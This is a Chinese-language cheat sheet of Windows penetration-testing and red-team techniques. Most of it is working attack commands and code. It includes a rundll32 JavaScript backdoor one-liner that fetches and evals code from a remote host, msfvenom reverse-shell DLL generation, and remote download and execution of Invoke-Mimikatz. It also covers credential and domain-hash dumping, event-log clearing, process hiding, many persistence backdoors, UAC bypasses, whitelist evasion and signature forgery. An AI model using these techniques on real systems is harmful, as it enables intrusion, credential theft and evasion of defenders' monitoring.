A collection of pentest and development tips
Author: 3gstudent
Click on me to view the English version
以下技巧不应用于非法用途
nmap的-sV可以探测出服务版本,但有些情况下必须手动探测去验证
使用Wireshark获取响应包未免大材小用,可通过nc简单判断
eg.
对于8001端口,nc连接上去,随便输入一个字符串,得到了以下结果:
$ nc -vv localhost 8001
localhost [127.0.0.1] 8001 (?) open
asd
HTTP/1.1 400 Bad Request
Date: Fri, 25 Aug 2017 12:15:25 GMT
Server: Apache/2.4.23 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001</address>
</body></html>
由此我们知道了这是一个http服务,因为我们发送的字符串不是一个合法的HTTP请求,因此返回一个400 Bad requests,我们还得到了系统的版本是Debian,WebServer是Apache
参考:
Kali:
python -m SimpleHTTPServer 80
Windows:
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete
参考:
添加用户:
net user test test /add
net localgroup administrators test /add
修改注册表,使其支持远程连接:
reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
net use远程连接:
net use \\192.168.1.195 test /u:test
获取evtx日志分类列表:
wevtutil el >1.txt
获取单个evtx日志类别的统计信息:
eg.
wevtutil gli "windows powershell"
回显:
creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1
查看指定evtx日志的具体内容:
wevtutil qe /f:text "windows powershell"
查找指定数量的日志内容:
wevtutil qe /f:text "windows powershell" /c:20
删除单个evtx日志类别的所有信息:
wevtutil cl "windows powershell"
参考:
单条evtx日志清除:
通过调用TerminateThread结束实现日志功能的线程,使得日志记录功能失效,但Windows Event Log服务没有被破坏,状态仍为正在运行
Powershell:
https://github.com/hlldz/Invoke-Phant0m
C++:
https://github.com/3gstudent/Windwos-EventLog-Bypass
参考:
《利用API-NtQueryInformationThread和I_QueryTagInformation实现对Windwos日志监控的绕过》
利用globalAPIhooks,通过修改注册表实现
下载工程:https://github.com/subTee/AppInitGlobalHooks-Mimikatz
修改代码指定要隐藏的程序名cldr.exe,编译成cldr.dll,cldr.dll放在C:\ProgramData\Microsoft\HelpLibrary\
管理员权限:
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f
此时,任务管理器进程列表不存在cldr.exe,Process Explorer不存在cldr.exe,Tasklist.exe不存在cldr.exe
对于64位系统:
管理员权限:
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldrx64.dll" /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f
参考:
《利用globalAPIhooks在Win7系统下隐藏进程》
如果一个路径下同时包含同名的exe和com文件,例如test.exe和test.com,通过命令行cmd输入test(不包含文件后缀名),会优先运行com文件,即test.com
而COM文件的生成只需要把exe文件的后缀名改为com即可
参考:
《A dirty way of tricking users to bypass UAC》
证书生成与签名:
makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f
signtool sign /f Root.pfx /p 12345678password test.exe
执行后生成Root.cer、Root.pfx、Root.pvk、Root.spc四个文件,test.exe被加上数字签名
证书注册:
管理员权限cmd,将证书添加到localmachine:
certmgr.exe -add -c Root.cer -s -r localmachine root
参考:
《A dirty way of tricking users to bypass UAC》
test.hta:
<HTML>
<HEAD>
<script language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
WshShell.Run Connect, 4, true
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</HEAD>
<BODY>
</BODY>
</HTML>
参考:
《Bypass McAfee Application Control——Code Execution》
默认情况下,c#不可以声明导出函数,但可通过添加UnmanagedExports实现
当然,通过c#编写的dll,dll需要在对应版本的.NET环境才能正常运行,通过c++编写的dll更加通用
通过rundll32.exe或者regsvr32能够加载dll,但要求dll包含特定的导出函数
参考:
《Code Execution of Regsvr32.exe》
本质上是DLL文件,后缀名为cpl,包含一个导出函数CPLApplet(c实现可不指定)
执行方法:
(1)双击直接运行
(2)cmd
rundll32 shell32.dll,Control_RunDLL test.cpl
(3)cmd
control test.cpl
(4)vbs
Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")
(5)js
var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\\test\\test.cpl");
参考:
《CPL文件利用介绍》
Server:
https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1
Client:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
当然,该RAT工具还可通过以下方法加载:
vbs,js,exe,dll,shellcode
参考:
《JavaScript Backdoor》
《JavaScript Phishing》
windows和Linux均适用
参考:
《Memory Dump利用实例》
Visual C++:
- 修改.vcxproj文件
Visual Basic:
- 修改.vbproj文件
Visual F#:
- 修改.fsproj文件
使用Visual Studio对以上任一工程编译时,能够执行任意代码
参考:
《Pay close attention to your download code——Visual Studio trick to run code when building》
对注册表操作:
访问HKLM\Software\的实际路径为HKLM\Software\Wow6432Node\
对文件操作:
访问c:\windows\Sysnative\ 的实际路径为 c:\windows\system32
访问c:\windows\system32\ 的实际路径为 c:\windows\SysWOW64\
参考:
《关于32位程序在64位系统下运行中需要注意的重定向问题》
复制ntds.dit:
使用NinjaCopy,https://github.com/3gstudent/NinjaCopy
导出hash:
使用quarkspwdump,https://github.com/quarkslab/quarkspwdump
esentutl /p /o ntds.dit
QuarksPwDump.exe -dhb -hist -nt c:\test\ntds.dit -o c:\test\log.txt
使用powershell:DSInternals PowerShell Module
https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip
适用条件:
Windows PowerShell 3.0 or 3.0+
.NET Framework 4.0 or 4.0+
参考:
《导出当前域内所有用户hash的技术整理》
《利用Powershell快速导出域控所有用户Hash》
mimikatz:
mimikatz.exe "lsadump::dcsync /domain:test.local /all /csv" exit
Windows Server 2012默认无法使用mimikatz导出明文口令,部分Windows Server 2008也一样
解决方法:启用Wdigest Auth
cmd:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
or
powershell:
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
重启或者用户再次登录,能够导出明文口令
参考:
《域渗透——Dump Clear-Text Password after KB2871997 installed》
当然,可选择保存在本地或是将密码上传至服务器
参考:
《域渗透——Hook PasswordChangeNotify》
如果管理员疏忽,域内主机使用相同的本地管理员账号,可以通过pass-the-hash远程登录域内其他主机
参考:
《域渗透——Local Administrator Password Solution》
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1
Get-Exports -DllPath c:\Windows\system32\dimsjob.dll -ExportsToCpp C:\test\export.txt
参考:
《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》
将payload放置在260个空字符之后,这样无法在文件属性查看payload,可以用来在快捷方式中隐藏payload,欺骗用户点击,隐蔽执行代码
参考:
POC:
https://github.com/3gstudent/CreateRemoteThread/blob/master/CreateRemoteThread32to64.cpp
参考:
使用sytem权限的进程可能会遇到以下问题:
1.无法获得当前用户的文件内容
例如无法捕获用户的屏幕
2.环境变量有差异
因此需要降权到当前用户
降权方法1:使用SelectMyParent.exe
参考:
降权方法2:使用msdtc
使用msdtc会以system权限加载oci.dll,但在管理员权限cmd执行:
msdtc -install
启动的calc.exe为high权限
参考:
《Use msdtc to maintain persistence》
参考:
《渗透技巧——Windows平台运行Masscan和Nmap》
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
参考:
《利用白名单绕过360实例》
《利用白名单绕过限制的更多测试》
将mimikatz封装到dll中,通过regsvr32传入参数运行mimkatz
rundll32 katz.dll,EntryPoint log coffee exit
参考:
《Code Execution of Regsvr32.exe》
下载xml文件,保存为a.xml:
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml
cmd:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes a.xml
参考:
"C:\Program Files (x86)\MSBuild\14.0\Bin\csi.exe" c:\test\katz.csx
参考:
https://gist.github.com/subTee/5c636b8736530fb20c3d
https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f
参考:
存储:
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put()
读取:
$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value
参考:
《WMI Backdoor》
利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名
参考:
(1)...
type putty.exe > ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe
(2)特殊COM文件
type putty.exe > \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe
(3)磁盘根目录
type putty.exe >C:\:putty.exe
wmic process call create C:\:putty.exe
参考:
《Hidden Alternative Data Streams的进阶利用技巧》
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list
管理员也许会使用WMI记录攻击者调用WMI的操作,可通过wmic查看,当然通过wmic也能关闭该监控功能
参考:
《Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC))》
wmic /node:192.168.1.10 /user:"administrator" /password:"123456" /NAMESPACE:"\\root\CIMV2" PATH Win32_OperatingSystem get CSName
msf:
msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll
生成a.dll,然后上传至测试主机
执行rundll32.exe a.dll,Control_RunDLL
,即可上线
代码见https://raw.githubusercontent.com/3gstudent/test/master/meterpreter_reverse_tcp.cpp
生成dll,重命名为cpl,双击执行
rundll32 a.dll,EntryPoint
regsvr32 a.dll
参考:
《Code Execution of Regsvr32.exe》
odbcconf.exe /a {regsvr c:\test\odbcconf.dll}
参考:
《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》
Tracker.exe /d test.dll /c svchost.exe
tracker.exe包含微软数字签名,可绕过应用程序白名单的限制
参考:
前提:已安装Microsoft Office软件
1.rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\test\\messagebox.dll');this.close();
2.js
var excel = new ActiveXObject("Excel.Application");
excel.RegisterXLL("C:\\test\\messagebox.dll");
3.powershell
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL("C:\test\messagebox.dll")
参考:
《Use Excel.Application object's RegisterXLL() method to load dll》
复制%windir%\system32\下的xwizard.exe至新目录C:\x
将msg.dll重命名为xwizards.dll,保存在C:\x
命令行执行:
xwizard processXMLFile 1.txt
成功加载C:\x\xwizards.dll
参考:
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
参考:
《Use bitsadmin to maintain persistence and bypass Autoruns》
pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP1";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 1";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consP1";
ScriptingEngine = "JScript";
ScriptText = "GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
管理员权限:
mofcomp test.mof
参考:
《WSC、JSRAT and WMI Backdoor》
每隔60秒执行一次notepad.exe
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
参考:
《Study Notes of WMI Persistence using wmic.exe》
劫持计划任务UserTask,在系统启动时加载testmsg.dll
操作如下:
在HKEY_CURRENT_USER\Software\Classes\CLSID\下新建项{58fb76b9-ac85-4e55-ac04-427593b1d060}
接着新建项InprocServer32
值设定为c:\test\testmsg.dll
testmsg.dll包含如下导出函数:
DllCanUnloadNow DllGetClassObject DllRegisterServer DllUnregisterServer
等待用户重新登录
参考:
helper DLL需要包含导出函数InitHelperDll
管理员权限:
netsh add helper c:\test\netshtest.dll
helper dll添加成功后,每次调用netsh,均会加载c:\test\netshtest.dll
参考:
常用方式:
- InjectDll
- RedirectShortcut
- RedirectEXE
《渗透测试中的Application Compatibility Shims》
通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程
path:
- c:\windows\midimap.dll
参考:
编写自定义Verifier provider DLL
通过Application Verifier进行安装
注入到目标进程执行payload
每当目标进程启动,均会执行payload,相当于一个自启动的方式
参考:
《渗透测试中的Application Verifier(DoubleAgent利用介绍)》
不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe
参考:
《Use Waitfor.exe to maintain persistence》
针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。 如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制
参考:
《Use AppDomainManager to maintain persistence》
如果系统已安装office软件,可通过配置Office加载项实现劫持,作为被动后门
常用利用方式:
Word WLL
Excel XLL
Excel VBA add-ins
PowerPoint VBA add-ins
POC:https://github.com/3gstudent/Office-Persistence
参考:
《Use Office to maintain persistence》
《Office Persistence on x64 operating system》
无需管理员权限的后门,并能够劫持所有.Net程序
POC:https://github.com/3gstudent/CLR-Injection
参考:
《Use CLR to maintain persistence》
利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测
参考:
《Use msdtc to maintain persistence》
不需要重启系统,不需要管理员权限
通过修改注册表实现
POC:https://github.com/3gstudent/COM-Object-hijacking
参考:
不需要重启系统,不需要管理员权限
通过修改注册表实现
参考:
《Use COM Object hijacking to maintain persistence——Hijack explorer.exe》
通过DLL劫持,劫持Explorer.exe对fxsst.dll的加载
Explorer.exe在启动时会加载c:\Windows\System32\fxsst.dll
(服务默认开启,用于传真服务)
将payload.dll保存在c:\Windows\fxsst.dll,能够实现dll劫持,劫持Explorer.exe对fxsst.dll的加载
相同的利用方法:
将payload.dll重命名为linkinfo.dll,劫持Explorer.exe对linkinfo.dll的加载
通过dll劫持,在Office软件执行特定功能时触发后门
参考:
在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执行(使用Native API)
参考:
修改powershell配置文件,后门在powershell进程启动后触发
查看是否使用配置文件:
Test-Path $profile
创建配置文件:
New-Item -Path $profile -Type File –Force
修改配置文件内容,添加后门:
$string = 'Start-Process "cmd.exe"'
$string | Out-File -FilePath "C:\Users\a\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Append
From:
https://rastamouse.me/2018/03/a-view-of-persistence/
参考:
适用:Win7,Win8.1,Win 10
https://github.com/3gstudent/UAC-Bypass/blob/master/Invoke-EventVwrBypass.ps1
参考:
《Study Notes of WMI Persistence using wmic.exe》
适用Win10
参考:
《Study Notes of using sdclt.exe to bypass UAC》
适用Win8,Win10
reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM "
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
参考:
《Study Notes of using SilentCleanup to bypass UAC》
只适用于Win7
参考:
《Empire中的Invoke-WScriptBypassUAC利用分析》
适用于Win7
适用Win7-Win10
如gpedit.msc
修改环境变量,利用CLR劫持gpedit.msc的启动过程
参考:
适用Win7-Win10
- {B29D466A-857D-35BA-8712-A758861BFEA1}
- {D5AB5662-131D-453D-88C8-9BBA87502ADE}
- {0A29FF9E-7F9C-4437-8B11-F424491E3931}
- {CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}
参考:
修改进程信息,欺骗PSAPI,调用COM组件实现越权操作
参考:
《通过COM组件IARPUninstallStringLauncher绕过UAC》
解决方法:
将程序打包发布
项目菜单->项目属性,C/C++->代码生成->运行库,选择多线程 (/MT)
可以使用LaZagne导出当前系统中常见应用存储的密码(例如浏览器、Wifi、Git、Outlook等)
https://github.com/AlessandroZ/LaZagne
当然,也可以修改LaZagne源码实现对其他应用的密码导出
参考:
读文本文件:
$file = Get-Content "1.txt"
写文本文件:
Set-content "1.txt"
读二进制文件:
[System.IO.File]::ReadAllBytes('1.exe')
写二进制文件:
[System.IO.File]::WriteAllBytes("1.exe",$fileContentBytes)
编码:
$encoded = [System.Convert]::ToBase64String($fileContent)
解码:
$fileContent = [System.Convert]::FromBase64String($encoded)
参考:
《Study Notes of using BGInfo to bypass Application Whitelisting》
https://github.com/danielbohannon/Invoke-Obfuscation
eg.
设置要混淆的代码:
set scriptblock " Invoke-111111 -Command "log privilege::debug sekurlsa::logonpasswords exit" "
输入encoding
输入1
,指定编码为ascii
得到混淆后的代码:
" $(SEt-iTem 'VARIaBle:OFS' '' ) "+ [StRinG](( 73,110 , 118 ,111, 107, 101, 45, 49, 49 ,49 ,49 ,49 , 49, 32 , 45 , 67, 111, 109 , 109, 97 , 110 , 100 , 32,34,108, 111, 103 ,32, 112 ,114 , 105,118,105,108, 101, 103 ,101, 58 , 58 , 100 , 101 , 98, 117 ,103,32 , 115,101,107 ,117,114 , 108,115, 97 ,58 , 58, 108 ,111 ,103,111,110, 112, 97, 115 ,115,119, 111, 114, 100, 115, 32, 101, 120,105,116 ,34 )|FOReacH-objeCT{( [ChAR][iNT] $_) } ) +"$( Set-variAbLE 'oFS' ' ' ) "|. ( $env:PUbLic[13]+$eNv:PuBlIc[5]+'x')
常见的两种方法:
- 使用py2exe
- 使用PyInstaller
使用方法和常见bug解决方法可参照参考链接
参考:
eg.
以普通用户权限向c:\windows
文件夹下释放文件
makecab c:\test\test.exe %TMP%\1.tmp
wusa %TMP%\1.tmp /extract:"c:\windows" /quiet
适用于Win7、Win8,学习自:
参考:
《Empire中的Invoke-WScriptBypassUAC利用分析》
常用方法:
- at
- psexec
- WMIC
- wmiexec
- smbexec
- powershell remoting
psexec的用法:
psexec.exe \\test.local /accepteula -u test\admin -p test123! -s -c test.bat
test.bat在本地
新方法:
- DCOM
参考:
枚举Windows系统服务对应可执行文件的路径,如果路径包含普通用户的写权限,那么该服务可被用来提升权限
powershell代码:
$ErrorActionPreference="SilentlyContinue"
$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}
for($i=0;$i -le $out.Count-1;$i++)
{
$a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
If($a.Owner -ne "BUILTIN\Administrators"){
Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
Write-host Owner: $a.Owner
}
}
}
}
Write-host [+] All done.
参考:
《Use powershell to find a writable windows service》
Windows系统支持Logon Scripts,Logon Scripts是在系统启动时执行,执行顺序要优先于杀毒软件,当然,杀毒软件无法拦截Logon Scripts中脚本的操作(杀毒软件尚未启动)
关键在于杀毒软件会不会拦截Logon Scripts的配置使用
使用特殊操作添加Logon Scripts,杀毒软件不会拦截
注:
以上提到的杀毒软件是指“部分”杀毒软件,并不通用
参考:
《Use Logon Scripts to maintain persistence》
使用Visual Studio:
项目名要同namespace指定的名称对应,如果不对应,可在项目-属性-程序集名称中修改,否则生成的dll无法使用
使用csc.exe:
eg.
using System;
using System.Diagnostics;
namespace TestDotNet
{
public class Class1
{
static Class1()
{
Process.Start("cmd.exe");
Environment.Exit(0);
}
}
}
保存为TestDotNet.cs,直接使用csc.exe生成就好:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library TestDotNet.cs
如果保存为a.cs,那么需要加/out参数指定输出文件为TestDotNet.dll,这样程序集名称也默认为TestDotNet(同源代码对应),否则,dll虽然能够被加载,但无法执行,参数如下:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library /out:TestDotNet.dll a.cs
使用net use远程连接,目标如果开启了NetBIOS over TCP/IP,那么:
- 目标同时开放139和445端口,系统优先使用445端口连接
- 目标禁用445端口,可使用139端口连接
目标如果禁用了NetBIOS over TCP/IP,那么:
- 目标禁用445端口,无法连接
启动服务TrustedInstaller,通过Token复制来获得TrustedInstaller权限
常用方法:
- SelectMyParent
- Invoke-TokenManipulation.ps1
- incognito
参考:
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
1表示关闭,0表示开启
查看远程连接的端口:
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
方法1:通过cmd
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
方法2:通过reg文件
内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d
导入注册表:
regedit /s a.reg
注:
修改连接端口重启后生效
补充
如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许3389端口,命令如下:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
如果连接出错,提示An authentication error has occurred.The function requested is not supported.
需要关闭远程连接的一个选项:Allow connections only from computers running Remote Desktop with Network Level Authentication (recommended)
关闭方法:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0x00000000 /f
kali使用3389远程连接:
rdesktop 192.168.1.1:3389
Windows:
mstsc.exe
非服务器版本的Windows系统,默认只允许一个账户登录
具体表现为:
远程登录时,使用与原系统相同的账户,原系统将被切换到登录界面
使用不同的账户,原系统桌面将弹框提示是否断开当前连接(30秒后默认选择同意)
解决方法:
使用mimikatz.exe,执行ts::multirdp
允许多用户远程登录
能够实现不同帐户远程登录不冲突,原系统桌面不会弹框提示
当然,使用与原系统相同的账户,原系统还是会被切换到登录界面
注:
该方法在系统重启后失效,下次使用需要重新执行命令ts::multirdp
也可通过修改文件termsrv.dll实现永久修改
参考:
远程系统需要允许Windows防火墙远程管理
,开启命令如下:
netsh advfirewall set currentprofile settings remotemanagement enable
eg.
netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow
参考:
当弹出UAC提示框的时候,执行任意代码,可通过修改注册表劫持签名验证的功能,插入payload
参考:
《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》
通过修改注册表,能够给PE文件添加微软证书
参考:
《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》
《Authenticode签名伪造——针对文件类型的签名伪造》
构造Long UNC文件名,实现文件名欺骗,获得Catalog签名
参考:
用于创建符号链接,可理解为快捷方式
创建目录c:\test\1,指向c:\temp,可使用以下操作:
(1) 使用/D参数命令创建一个链接:
mklink /D "c:\test\1" "c:\Temp"
(2) 使用/J参数命令创建一个联接:
mklink /J "c:\test\1" "c:\Temp"
差异:
使用/D参数创建的链接,文件属性多了"快捷方式"
使用/J不需要管理员权限
使用/D需要管理员权限
应用:
更改释放文件的路径
powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCerts"
powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command ""log ""privilege::debug"" ""sekurlsa::logonpasswords"""""
参考:
参考:
参考:
\\<DOMAIN>\SYSVOL\<DOMAIN>\
所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等
参考:
如果你的TeamViewer版本为13.0.5058
,不要随意连接未知的TeamViewer服务器,有可能被反控
参考:
《TeamViewer 13.0.5058中的权限漏洞测试》
wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password
(不推荐,直接下载文件太大)
获取域控文件:C:\Windows\System32\winevt\Logs\Security.evtx
,筛选事件4624/4623/4672
锁屏状态下GetForegroundWindow()的函数返回值为NULL,非锁屏状态下GetForegroundWindow()的函数返回值为一个非零的值
参考:
https://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen
Powershell脚本实现:
https://github.com/3gstudent/Writeup/blob/master/CheckStandby.ps1
通过API GetIdleTime进行判断
c#实现:
https://www.codeproject.com/Articles/13384/Getting-the-user-idle-time-with-C
powershell脚本实现:
https://github.com/3gstudent/Writeup/blob/master/GetIdleTime.ps1
判断是否开启屏保:
查找注册表HKEY_CURRENT_USER\Control Panel\Desktop
,是否存在键值SCRNSAVE.EXE
REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE
如果开启屏保,查看键值ScreenSaveTimeOut
获得屏保启动时间(以秒为单位)
REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut
通过API ShowWindowAsync改变窗口状态
通过powershell实现,脚本可参考:
https://github.com/3gstudent/Writeup/blob/master/HiddenProcess.ps1
脚本下载地址:
通过枚举注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall下所有子健的DisplayName获取
注:
64位系统下32位程序的目录为HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
powershell脚本实现的参考地址:
https://github.com/3gstudent/ListInstalledPrograms
